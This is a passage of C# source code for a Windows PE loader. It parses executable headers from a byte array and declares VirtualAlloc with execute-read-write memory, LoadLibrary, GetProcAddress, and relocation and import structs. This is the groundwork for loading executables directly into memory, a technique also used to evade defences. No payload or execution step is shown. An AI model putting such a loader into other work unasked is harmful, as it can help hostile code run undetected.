TypeCopy = 0x00000010,
|
||||
/// <summary>
|
||||
/// The section contains executable code.
|
||||
/// </summary>
|
||||
ContentCode = 0x00000020,
|
||||
/// <summary>
|
||||
/// The section contains initialized data.
|
||||
/// </summary>
|
||||
ContentInitializedData = 0x00000040,
|
||||
/// <summary>
|
||||
/// The section contains uninitialized data.
|
||||
/// </summary>
|
||||
ContentUninitializedData = 0x00000080,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
LinkOther = 0x00000100,
|
||||
/// <summary>
|
||||
/// The section contains comments or other information. The .drectve section has this type. This is valid for object files only.
|
||||
/// </summary>
|
||||
LinkInfo = 0x00000200,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeOver = 0x00000400,
|
||||
/// <summary>
|
||||
/// The section will not become part of the image. This is valid only for object files.
|
||||
/// </summary>
|
||||
LinkRemove = 0x00000800,
|
||||
/// <summary>
|
||||
/// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files.
|
||||
/// </summary>
|
||||
LinkComDat = 0x00001000,
|
||||
/// <summary>
|
||||
/// Reset speculative exceptions handling bits in the TLB entries for this section.
|
||||
/// </summary>
|
||||
NoDeferSpecExceptions = 0x00004000,
|
||||
/// <summary>
|
||||
/// The section contains data referenced through the global pointer (GP).
|
||||
/// </summary>
|
||||
RelativeGP = 0x00008000,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
MemPurgeable = 0x00020000,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
Memory16Bit = 0x00020000,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
MemoryLocked = 0x00040000,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
MemoryPreload = 0x00080000,
|
||||
/// <summary>
|
||||
/// Align data on a 1-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align1Bytes = 0x00100000,
|
||||
/// <summary>
|
||||
/// Align data on a 2-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align2Bytes = 0x00200000,
|
||||
/// <summary>
|
||||
/// Align data on a 4-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align4Bytes = 0x00300000,
|
||||
/// <summary>
|
||||
/// Align data on an 8-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align8Bytes = 0x00400000,
|
||||
/// <summary>
|
||||
/// Align data on a 16-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align16Bytes = 0x00500000,
|
||||
/// <summary>
|
||||
/// Align data on a 32-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align32Bytes = 0x00600000,
|
||||
/// <summary>
|
||||
/// Align data on a 64-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align64Bytes = 0x00700000,
|
||||
/// <summary>
|
||||
/// Align data on a 128-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align128Bytes = 0x00800000,
|
||||
/// <summary>
|
||||
/// Align data on a 256-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align256Bytes = 0x00900000,
|
||||
/// <summary>
|
||||
/// Align data on a 512-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align512Bytes = 0x00A00000,
|
||||
/// <summary>
|
||||
/// Align data on a 1024-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align1024Bytes = 0x00B00000,
|
||||
/// <summary>
|
||||
/// Align data on a 2048-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align2048Bytes = 0x00C00000,
|
||||
/// <summary>
|
||||
/// Align data on a 4096-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align4096Bytes = 0x00D00000,
|
||||
/// <summary>
|
||||
/// Align data on an 8192-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align8192Bytes = 0x00E00000,
|
||||
/// <summary>
|
||||
/// The section contains extended relocations.
|
||||
/// </summary>
|
||||
LinkExtendedRelocationOverflow = 0x01000000,
|
||||
/// <summary>
|
||||
/// The section can be discarded as needed.
|
||||
/// </summary>
|
||||
MemoryDiscardable = 0x02000000,
|
||||
/// <summary>
|
||||
/// The section cannot be cached.
|
||||
/// </summary>
|
||||
MemoryNotCached = 0x04000000,
|
||||
/// <summary>
|
||||
/// The section is not pageable.
|
||||
/// </summary>
|
||||
MemoryNotPaged = 0x08000000,
|
||||
/// <summary>
|
||||
/// The section can be shared in memory.
|
||||
/// </summary>
|
||||
MemoryShared = 0x10000000,
|
||||
/// <summary>
|
||||
/// The section can be executed as code.
|
||||
/// </summary>
|
||||
MemoryExecute = 0x20000000,
|
||||
/// <summary>
|
||||
/// The section can be read.
|
||||
/// </summary>
|
||||
MemoryRead = 0x40000000,
|
||||
/// <summary>
|
||||
/// The section can be written to.
|
||||
/// </summary>
|
||||
MemoryWrite = 0x80000000
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The DOS header
|
||||
/// </summary>
|
||||
private IMAGE_DOS_HEADER dosHeader;
|
||||
/// <summary>
|
||||
/// The file header
|
||||
/// </summary>
|
||||
private IMAGE_FILE_HEADER fileHeader;
|
||||
/// <summary>
|
||||
/// Optional 32 bit file header
|
||||
/// </summary>
|
||||
private IMAGE_OPTIONAL_HEADER32 optionalHeader32;
|
||||
/// <summary>
|
||||
/// Optional 64 bit file header
|
||||
/// </summary>
|
||||
private IMAGE_OPTIONAL_HEADER64 optionalHeader64;
|
||||
/// <summary>
|
||||
/// Image Section headers. Number of sections is in the file header.
|
||||
/// </summary>
|
||||
private IMAGE_SECTION_HEADER[] imageSectionHeaders;
|
||||
|
||||
private byte[] rawbytes;
|
||||
|
||||
public PELoader(byte[] fileBytes)
|
||||
{
|
||||
// Read in the DLL or EXE and get the timestamp
|
||||
using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
|
||||
{
|
||||
BinaryReader reader = new BinaryReader(stream);
|
||||
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
|
||||
|
||||
// Add 4 bytes to the offset
|
||||
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
|
||||
|
||||
reader.ReadUInt32();
|
||||
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
|
||||
if (this.Is32BitHeader)
|
||||
{
|
||||
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
|
||||
}
|
||||
else
|
||||
{
|
||||
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
|
||||
}
|
||||
|
||||
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
|
||||
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
|
||||
{
|
||||
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
|
||||
}
|
||||
|
||||
rawbytes = fileBytes;
|
||||
}
|
||||
}
|
||||
|
||||
public static T FromBinaryReader<T>(BinaryReader reader)
|
||||
{
|
||||
// Read in a byte array
|
||||
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
|
||||
|
||||
// Pin the managed memory while, copy it out the data, then unpin it
|
||||
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
|
||||
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
|
||||
handle.Free();
|
||||
|
||||
return theStructure;
|
||||
}
|
||||
|
||||
public bool Is32BitHeader
|
||||
{
|
||||
get
|
||||
{
|
||||
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
|
||||
return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public IMAGE_FILE_HEADER FileHeader
|
||||
{
|
||||
get
|
||||
{
|
||||
return fileHeader;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the optional header
|
||||
/// </summary>
|
||||
public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
|
||||
{
|
||||
get
|
||||
{
|
||||
return optionalHeader32;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the optional header
|
||||
/// </summary>
|
||||
public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
|
||||
{
|
||||
get
|
||||
{
|
||||
return optionalHeader64;
|
||||
}
|
||||
}
|
||||
|
||||
public IMAGE_SECTION_HEADER[] ImageSectionHeaders
|
||||
{
|
||||
get
|
||||
{
|
||||
return imageSectionHeaders;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] RawBytes
|
||||
{
|
||||
get
|
||||
{
|
||||
return rawbytes;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe class NativeDeclarations
|
||||
{
|
||||
|
||||
public static uint MEM_COMMIT = 0x1000;
|
||||
public static uint MEM_RESERVE = 0x2000;
|
||||
public static uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||
public static uint PAGE_READWRITE = 0x04;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public unsafe struct IMAGE_BASE_RELOCATION
|
||||
{
|
||||
public uint VirtualAdress;
|
||||
public uint SizeOfBlock;
|
||||
}
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern IntPtr LoadLibrary(string lpFileName);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public unsafe struct IMAGE_IMPORT_DESCRIPTOR
|
||||
{
|
||||
public uint OriginalFirstThunk;
|
||||
public uint TimeDateStamp;
|
||||
public uint ForwarderChain;
|
||||
public uint Name;
|
||||
public uint FirstThunk;
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue